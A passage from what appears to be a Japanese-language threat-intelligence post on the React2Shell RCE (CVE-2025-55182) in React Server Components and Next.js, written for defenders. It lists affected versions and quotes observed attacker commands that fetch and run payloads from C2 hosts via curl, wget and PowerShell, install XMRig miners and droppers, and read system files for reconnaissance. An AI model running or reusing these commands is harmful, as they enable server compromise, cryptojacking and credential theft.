\u3092\u53d7\u4fe1\u3059\u308b\u3068\u3001\u30c7\u30fc\u30bf\u306e\u69cb\u9020\u3092\u6b63\u3057\u304f\u691c\u8a3c\u3067\u304d\u307e\u305b\u3093\u3002\u3053\u306e\u5b89\u5168\u3067\u306a\u3044\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u306b\u3088\u308a\u3001\u30b5\u30fc\u30d0\u30fc\u306f\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b\u30c7\u30fc\u30bf\u304c\u30b5\u30fc\u30d0\u30fc\u5074\u306e\u5b9f\u884c\u30ed\u30b8\u30c3\u30af\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3053\u3068\u3092\u8a31\u53ef\u3057\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n<p>\u305d\u306e\u7d50\u679c\u3001RCE \u304c\u767a\u751f\u3057\u3001\u653b\u6483\u8005\u306f\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u4efb\u610f\u306e\u7279\u6a29 JavaScript \u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-167641-_jmsxto72rkhg\"><\/a><strong>\u653b\u6483\u30d9\u30af\u30c8\u30eb\u3068\u60aa\u7528\u53ef\u80fd\u6027<\/strong><\/h3>\n<ul>\n<li><strong>\u653b\u6483\u306e\u8907\u96d1\u3055<\/strong>: \u653b\u6483\u306e\u8907\u96d1\u3055\u306f\u4f4e\u3044\u3067\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u30a4\u30f3\u30bf\u30e9\u30af\u30b7\u30e7\u30f3\u3082\u6a29\u9650\u3082\u5fc5\u8981\u3042\u308a\u307e\u305b\u3093 (\u8a8d\u8a3c\u4e0d\u8981)\u3002<\/li>\n<li><strong>\u30bf\u30fc\u30b2\u30c3\u30c8\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8<\/strong>: \u653b\u6483\u306f React Server Function \u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3092\u6a19\u7684\u3068\u3057\u307e\u3059\u3002\n<ul>\n<li><strong>\u91cd\u8981\u306a\u30cb\u30e5\u30a2\u30f3\u30b9<\/strong>: \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c React Server Functions \u3092\u53b3\u5bc6\u306b\u5b9f\u88c5\u307e\u305f\u306f\u4f7f\u7528\u3057\u3066\u3044\u306a\u3044\u5834\u5408\u3067\u3082\u3001React Server Components \u3092\u4e00\u822c\u7684\u306b\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u8106\u5f31\u3067\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u4fe1\u983c\u6027<\/strong>: \u30c6\u30b9\u30c8\u3067\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u307b\u307c 100% \u306e\u4fe1\u983c\u6027\u3092\u6301\u3064\u3053\u3068\u304c\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><strong>\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a<\/strong>: \u3053\u306e\u8106\u5f31\u6027\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306b\u5b58\u5728\u3057\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001<span style=\"font-family: 'courier new', courier, monospace;\">create-next-app<\/span> \u3067\u4f5c\u6210\u3055\u308c\u672c\u756a\u7528\u306b\u30d3\u30eb\u30c9\u3055\u308c\u305f\u6a19\u6e96\u7684\u306a Next.js \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u3001\u958b\u767a\u8005\u306b\u3088\u308b\u30b3\u30fc\u30c9\u5909\u66f4\u306a\u3057\u3067\u60aa\u7528\u53ef\u80fd\u3067\u3059\u3002<\/li>\n<\/ul>\n<h3><a id=\"post-167641-_qi7m269spy6b\"><\/a><strong>\u5177\u4f53\u7684\u306a\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8<\/strong><\/h3>\n<p>\u4e00\u822c\u7684\u306b\u306f React \u3068 Next.js \u306b\u5f71\u97ff\u3059\u308b\u3068\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u6280\u8853\u7684\u306b\u306f\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u3068\u30e2\u30b8\u30e5\u30fc\u30eb\u8aad\u307f\u8fbc\u307f\u3092\u51e6\u7406\u3059\u308b\u7279\u5b9a\u306e\u57fa\u790e\u30d1\u30c3\u30b1\u30fc\u30b8\u5185\u306b\u8106\u5f31\u6027\u304c\u5b58\u5728\u3057\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-167641-_264xd39178xg\"><\/a>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30d1\u30c3\u30b1\u30fc\u30b8<\/h4>\n<p>\u4ee5\u4e0b\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30d0\u30fc\u30b8\u30e7\u30f3 19.0.0\u300119.1.0\u300119.1.1\u3001\u304a\u3088\u3073 19.2.0 \u306b\u8106\u5f31\u6027\u304c\u5b58\u5728\u3057\u307e\u3059\uff1a<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">react-server-dom-webpack<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">react-server-dom-parcel<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">react-server-dom-turbopack<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-167641-_p7cencl8zkd5\"><\/a>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u5b9f\u88c5<\/h4>\n<p>\u3053\u308c\u3089\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u30d0\u30f3\u30c9\u30eb\u3057\u3066\u3044\u308b\u3042\u3089\u3086\u308b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u304c\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3059\uff1a<\/p>\n<ul>\n<li>Next.js: \u30d0\u30fc\u30b8\u30e7\u30f3 15.x \u304a\u3088\u3073 16.x (App Router)\u3001\u304a\u3088\u3073 14.3.0-canary.77 \u304b\u3089\u306e Canary \u30d3\u30eb\u30c9<\/li>\n<li>\u305d\u306e\u4ed6\u306e\u30a8\u30b3\u30b7\u30b9\u30c6\u30e0: React Router\u3001Waku\u3001RedwoodSDK\u3001Parcel\u3001\u304a\u3088\u3073 Vite RSC \u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u3001\u8106\u5f31\u306a React \u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u3059\u3079\u3066\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3059<\/li>\n<\/ul>\n<h2><a id=\"post-167641-_ko9vwkq6ygxn\"><\/a>\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5 (Post-Exploitation Activity) \u306e\u7bc4\u56f2<\/h2>\n<p>Unit 42 \u306f\u3001CVE-2025-55182 \u306e\u60aa\u7528\u306b\u95a2\u9023\u3059\u308b\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u306f\u4ee5\u4e0b\u304c\u542b\u307e\u308c\u307e\u3059\uff1a<\/p>\n<ul>\n<li>RCE \u306b\u5bfe\u3057\u3066\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u30fc\u306e\u30b9\u30ad\u30e3\u30f3<\/li>\n<li>\u5075\u5bdf<\/li>\n<li>\u30af\u30e9\u30a6\u30c9\u8a8d\u8a3c\u60c5\u5831\u306e\u8a2d\u5b9a\u304a\u3088\u3073\u8a8d\u8a3c\u60c5\u5831\u30d5\u30a1\u30a4\u30eb\u306e\u7a83\u53d6\u306e\u8a66\u307f<\/li>\n<li>\u653b\u6483\u8005\u306e\u30b3\u30de\u30f3\u30c9\u30a2\u30f3\u30c9\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb (C2) \u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u304b\u3089\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/li>\n<li>Cobalt Strike \u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u8a66\u884c<\/li>\n<li>\u60aa\u610f\u306e\u3042\u308b\u30c9\u30ed\u30c3\u30d1\u30fc\u30b9\u30af\u30ea\u30d7\u30c8<\/li>\n<li>\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30cb\u30f3\u30b0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2<\/li>\n<li>React \u30d5\u30a1\u30a4\u30eb\u30de\u30cd\u30fc\u30b8\u30e3\u30fc\u306b\u306a\u308a\u3059\u307e\u3057\u305f\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a Web \u30b7\u30a7\u30eb<\/li>\n<li>NOODLERAT \u306e\u5b9f\u884c\u304a\u3088\u3073\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/li>\n<li>IAB (\u521d\u671f\u30a2\u30af\u30bb\u30b9\u30d6\u30ed\u30fc\u30ab\u30fc) \u6d3b\u52d5<\/li>\n<li>SNOWLIGHT \u304a\u3088\u3073 VShell \u306e\u5b9f\u884c\u78ba\u8a8d<\/li>\n<\/ul>\n<h3><a id=\"post-167641-_awkd1ghmxuck\"><\/a><strong>\u30b9\u30ad\u30e3\u30f3<\/strong><\/h3>\n<p>RCE \u306e\u8106\u5f31\u6027\u3092\u72d9\u3063\u305f\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c echo $((288*288))\r\n\r\n\/bin\/sh -c echo $((40453*43186))\r\n\/bin\/sh -c powershell -c \\288*288\\\r\n\r\n\/bin\/sh -c $(curl -s http:\/\/help.093214[.]xyz:9731\/fn32.sh | bash | gzip -n | base64 -w0),\/bin\/sh -c echo VULN_CHECK_SUCCESS<\/pre>\n<p>\u653b\u6483\u8005\u306b\u3088\u308b\u5075\u5bdf\u3068\u3057\u3066\u3001\u30b7\u30b9\u30c6\u30e0\u4fb5\u5bb3\u76f4\u5f8c\u306e\u72b6\u6cc1\u628a\u63e1\u306e\u305f\u3081\u306b Base64 \u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u304c\u6e21\u3055\u308c\u308b\u306e\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u8fc5\u901f\u306b\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3068\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8\u63a1\u53d6 (<span style=\"font-family: 'courier new', courier, monospace;\">uname<\/span>)\u3001\u73fe\u5728\u306e\u6a29\u9650\u30ec\u30d9\u30eb\u306e\u78ba\u8a8d (<span style=\"font-family: 'courier new', courier, monospace;\">id<\/span>)\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e\u30de\u30c3\u30d4\u30f3\u30b0 (<span style=\"font-family: 'courier new', courier, monospace;\">hostname<\/span>) \u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30b7\u30fc\u30b1\u30f3\u30b9\u306f\u3001\u6a5f\u5bc6\u6027\u306e\u9ad8\u3044\u8a8d\u8a3c\u60c5\u5831\u3092\u6c42\u3081\u3066\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3092\u5217\u6319\u3057\u3001DNS \u8a2d\u5b9a (<span style=\"font-family: 'courier new', courier, monospace;\">resolv.conf<\/span>) \u3092\u5206\u6790\u3057\u3066\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u3084\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8 (\u6a2a\u5c55\u958b) \u306e\u305f\u3081\u306e\u5185\u90e8\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u7279\u5b9a\u3059\u308b\u3053\u3068\u3067\u7d42\u4e86\u3057\u307e\u3059\u3002<\/p>\n<p>\u5075\u5bdf\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u5f62\u5f0f\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c echo &lt;base64-encoded text&gt; | base64 -d | sh | base64 -w0<\/pre>\n<p>\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f Base64 \u30b3\u30de\u30f3\u30c9\u306f\u3001\u4ee5\u4e0b\u306e\u5075\u5bdf\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh uname -a ; id ;hostname -I ; ls -la \/ ; ls -la ~ ;cat \/etc\/hosts;cat \/etc\/resolv.conf<\/pre>\n<h3><a id=\"post-167641-_gfosiedm3bsa\"><\/a><strong>\u30b3\u30e2\u30c7\u30a3\u30c6\u30a3\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6d3b\u52d5<\/strong><\/h3>\n<p>Unit 42 \u306f\u3001\u30af\u30ea\u30d7\u30c8\u30de\u30a4\u30cb\u30f3\u30b0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3084\u305d\u306e\u4ed6\u306e\u30b3\u30e2\u30c7\u30a3\u30c6\u30a3\u30de\u30eb\u30a6\u30a7\u30a2\u30ed\u30fc\u30c0\u30fc\u306e\u5c55\u958b\u306b\u95a2\u9023\u3059\u308b\u8907\u6570\u306e\u6d3b\u52d5\u30af\u30e9\u30b9\u30bf\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3042\u308b\u4e8b\u4f8b\u3067\u306f\u3001\u653b\u6483\u8005\u304c <span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span> \u3092\u4f7f\u7528\u3057\u3066\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b C2 \u30b5\u30fc\u30d0\u30fc\u304b\u3089\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8 (<span style=\"font-family: 'courier new', courier, monospace;\">sex.sh<\/span> \u3068\u3044\u3046\u540d\u524d) \u3092\u53d6\u5f97\u3059\u308b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\uff06\u5b9f\u884c (download-and-execute) \u653b\u6483\u30b7\u30fc\u30b1\u30f3\u30b9\u3092\u6e21\u3057\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f <span style=\"font-family: 'courier new', courier, monospace;\">&amp;&amp;<\/span> \u6f14\u7b97\u5b50\u3092\u4f7f\u7528\u3057\u3066\u6761\u4ef6\u4ed8\u304d\u30c1\u30a7\u30fc\u30f3\u3092\u4f5c\u6210\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u30c7\u30a3\u30b9\u30af\u306b\u6b63\u5e38\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u5f8c\u306b\u306e\u307f\u3001\u5373\u6642\u5b9f\u884c\u306e\u305f\u3081\u306b bash \u30a4\u30f3\u30bf\u30d7\u30ea\u30bf\u306b\u6e21\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u5225\u306e\u4e8b\u4f8b\u3067\u306f\u3001\u30c7\u30fc\u30bf\u306e\u7a83\u53d6\u3001\u691c\u8a3c\u3001\u304a\u3088\u3073<a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/mirai-ja\/\" target=\"_blank\" rel=\"noopener\"> Mirai \u30dc\u30c3\u30c8\u30cd\u30c3\u30c8<\/a>\u306a\u3069\u306e IoT \u6d3b\u52d5\u3068\u4e00\u81f4\u3059\u308b\u8907\u6570\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3092\u884c\u3046\u305f\u3081\u306b\u3001\u81ea\u52d5\u5316\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u4f7f\u7528\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u7121\u5bb3\u5316\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c wget hxxp[:]\/\/46.36.37[.]85:12000\/sex.sh &amp;&amp; bash sex.sh\r\n\r\n\/bin\/sh -c $(curl -s http:\/\/keep.camdvr[.]org:8000\/d5.sh | bash | gzip -n | base64 -w0),\/bin\/sh -c echo $((41*271)),\/bin\/sh -c echo $((42259*42449)),\/bin\/sh -c wget http:\/\/superminecraft.net[.]br:3000\/sex.sh &amp;&amp; bash sex.sh,\/bin\/sh -c wget https:\/\/sup001.oss-cn-hongkong.aliyuncs[.]com\/123\/python1.sh &amp;&amp; chmod 777 python1.sh &amp;&amp; .\/python1.sh\r\n\r\n45.134.174[.]235\/2.sh\r\n\r\n45.134.174[.]235\/solra\r\n\r\n45.134.174.235\/?h=45.134.174.235&amp;p=80&amp;t=tcp&amp;a=l64&amp;stage=true\r\n\r\nDecoded and Defanged command:\r\n\r\n\/bin\/sh -c (wget -qO- http:\/\/156.234.209[.]103:20912\/get.sh || curl -fsSL http:\/\/156.234.209[.]103:20912\/get.sh) | bash,\/bin\/sh -c curl -s -L https:\/\/raw.githubusercontent.com\/C3Pool\/xmrig_setup\/master\/setup_c3pool_miner .sh | bash -s &lt;encoded Monero address&gt;,\/bin\/sh -c echo $((41*271)),\/bin\/sh -c echo $((42636*43926)),\/bin\/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http:\/\/156.234.209[.]103:63938\/nrCrQ')\r\n\r\nDecoded and Defanged command:\r\n\r\n\/bin\/sh -c echo wget -O \/tmp\/test.sh http:\/\/31.57.46.28\/test.sh&amp;&amp;sh \/tmp\/test.sh|base64 -d|sh,\/bin\/sh -c id &amp;&amp; pwd &amp;&amp; ls -la &amp;&amp; ps aux | grep node\r\n\r\n(command -v curl &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; curl -s hxxp:\/\/47.84.57[.]207\/index | bash) || (command -v wget &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; wget -q -O- hxxp:\/\/47.84.57[.]207\/index | bash) || (command -v python3 &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; python3 -c \"import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp:\/\/47.84.57.207\/index').read())\") || (command -v python &gt;\/dev\/null 2&gt;&amp;1 &amp;&amp; python -c \"import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp:\/\/47.84.57[.]207\/index').read())\")<\/pre>\n<p>\u56f31\u306f\u3001Cortex XDR\u3067\u78ba\u8a8d\u3055\u308c\u305fXMRIG\u5c55\u958b\u306e\u653b\u6483\u30d5\u30ed\u30fc\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_168450\" aria-describedby=\"caption-attachment-168450\" style=\"width: 1000px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-168450 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-656337-167641-1.png\" alt=\"\u30de\u30eb\u30a6\u30a7\u30a2\u5c55\u958b\u306e\u305f\u3081\u306eCortex XDR\u30d7\u30ed\u30bb\u30b9\u30c4\u30ea\u30fc\u3002\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306b\u306f\u5225\u3005\u306e\u5b9f\u884c\u30dd\u30a4\u30f3\u30c8\u306b\u3042\u308b2\u3064\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u304c\u8868\u793a\u3055\u308c\u3066\u3044\u308b\u3002\u30d1\u30b9\u306b\u306f\u8b66\u544a\u8a18\u53f7\u306e\u30a2\u30a4\u30b3\u30f3\u304c\u4ed8\u3044\u3066\u304a\u308a\u3001\u653b\u6483\u306e\u6d41\u308c\u3092\u793a\u3057\u3066\u3044\u308b\u3002\" width=\"1000\" height=\"191\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-656337-167641-1.png 1557w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-656337-167641-1-786x150.png 786w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-656337-167641-1-768x146.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-656337-167641-1-1536x293.png 1536w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><figcaption id=\"caption-attachment-168450\" class=\"wp-caption-text\">\u56f31. XMRIG \u5c55\u958b\u306e\u653b\u6483\u30d5\u30ed\u30fc\u3002<\/figcaption><\/figure>\n<p><em>\u56f32\u306f\u3001Cortex XDR \u306b\u304a\u3051\u308b XMRig \u6d3b\u52d5\u306e\u30a2\u30e9\u30fc\u30c8\u901a\u77e5\u3067\u3059\u3002<\/em><\/p>\n<figure id=\"attachment_168461\" aria-describedby=\"caption-attachment-168461\" style=\"width: 461px\" class=\"wp-caption alignnone\"><img  class=\"wp-image-168461 size-full lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-659283-167641-2.png\" alt=\"Cortex XDR\u30a2\u30e9\u30fc\u30c8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u4e00\u90e8\u306e\u60c5\u5831\u306f\u4f0f\u305b\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u6697\u53f7\u901a\u8ca8\u30de\u30a4\u30cb\u30f3\u30b0\u30d7\u30fc\u30eb\u306e\u901a\u4fe1\u306f\u30d6\u30ed\u30c3\u30af\u3055\u308c\u3001\u3053\u306e\u30a2\u30e9\u30fc\u30c8\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u3057\u3066\u5206\u985e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\" width=\"461\" height=\"606\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-659283-167641-2.png 461w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/word-image-659283-167641-2-335x440.png 335w\" sizes=\"(max-width: 461px) 100vw, 461px\" \/><figcaption id=\"caption-attachment-168461\" class=\"wp-caption-text\">\u56f32. XMRig \u6d3b\u52d5\u306b\u5bfe\u3059\u308b Cortex XDR \u30a2\u30e9\u30fc\u30c8\u3002<\/figcaption><\/figure>\n<p>\u3042\u308b\u89b3\u6e2c\u4e8b\u4f8b\u3067\u306f\u3001\u653b\u6483\u8005\u304c Linux \u30b7\u30b9\u30c6\u30e0\u3078\u306e\u611f\u67d3\u3092\u76ee\u7684\u3068\u3057\u305f\u30c9\u30ed\u30c3\u30d1\u30fc\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30c9\u30ed\u30c3\u30d1\u30fc\u306f\u5197\u9577\u306a\u30ed\u30b8\u30c3\u30af\u30d6\u30ed\u30c3\u30af\u3092\u4f7f\u7528\u3057\u3066\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u78ba\u5b9f\u306b\u914d\u4fe1\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u6700\u521d\u306b\u51fa\u529b\u3092\u6291\u5236\u3057\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u306b\u5f93\u3046\u30d5\u30e9\u30b0\u3092\u4ed8\u3051\u3066\u30d0\u30a4\u30ca\u30ea\u306e <span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> \u3092\u8a66\u307f\u3001\u6700\u521d\u306e\u30c4\u30fc\u30eb\u304c\u306a\u3044\u304b\u5931\u6557\u3057\u305f\u5834\u5408\u306f <span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span> \u306b\u30d5\u30a9\u30fc\u30eb\u30d0\u30c3\u30af\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">\/tmp<\/span> \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3078\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u4e00\u9023\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u3092\u6c4e\u7528\u7684\u306b\u5b9f\u884c\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u76f4\u3061\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u8d77\u52d5\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u4ecb\u5165\u306a\u3057\u306b\u611f\u67d3\u3092\u78ba\u7acb\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u306b\u5bfe\u3059\u308b\u7121\u5bb3\u5316\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n<pre class=\"lang:default decode:true\">\/bin\/sh -c ((curl -sL hxxp[:]\/\/45.32.158[.]54\/5e51aff54626ef7f\/x86_64 -o \/tmp\/x86_64;chmod 777 \/tmp\/x86_64;\/tmp\/x86_64) || (wget hxxp[:]\/\/45.32.158[.]54\/5e51aff54626ef7f\/x86_64 -O \/tmp\/x86_64;chmod 777 \/tmp\/x86_64;\/tmp\/x86_64))<\/pre>\n<h2><a id=\"post-167641-_iqmg9a3iwugf\"><\/a>\u30af\u30e9\u30a6\u30c9\u304a\u3088\u3073\u30b3\u30f3\u30c6\u30ca\u306b\u5bfe\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u8a66\u307f<\/h2>\n<p>Unit 42 \u306f\u3001\u4e3b\u8981\u306a\u30af\u30e9\u30a6\u30c9\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u5168\u4f53\u306b\u304a\u3044\u3066\u3001React2Shell \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u8a66\u307f\u3082\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306f\u3001\u7d71\u5408\u3055\u308c\u305f React \u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u8d77\u56e0\u3059\u308b CVE-2025-55182 \u306e\u8106\u5f31\u6027\u3092\u6301\u3064\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3001Kubernetes \u3092\u542b\u3080\u30b3\u30f3\u30c6\u30ca\u3092\u30db\u30b9\u30c8\u3059\u308b\u30af\u30e9\u30a6\u30c9\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u6a19\u7684\u3068\u3057\u305f\u3082\u306e\u3067\u3057\u305f\u3002<\/p>\n<p>\u4e00\u9023\u306e\u653b\u6483\u6d3b\u52d5\u3067\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">wget\u3001curl\u3001chmod<\/span> \u306a\u3069\u306e\u30e6\u30fc\u30c6\u30a3\u30ea\u30c6\u30a3\u304c\u3001\u76f4\u63a5\u7684\u3042\u308b\u3044\u306f BusyBox \u30d0\u30a4\u30ca\u30ea\u3092\u7d4c\u7531\u3057\u3066\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3067\u5b9f\u884c\u3055\u308c\u3001\u653b\u6483\u8005\u306f Mirai 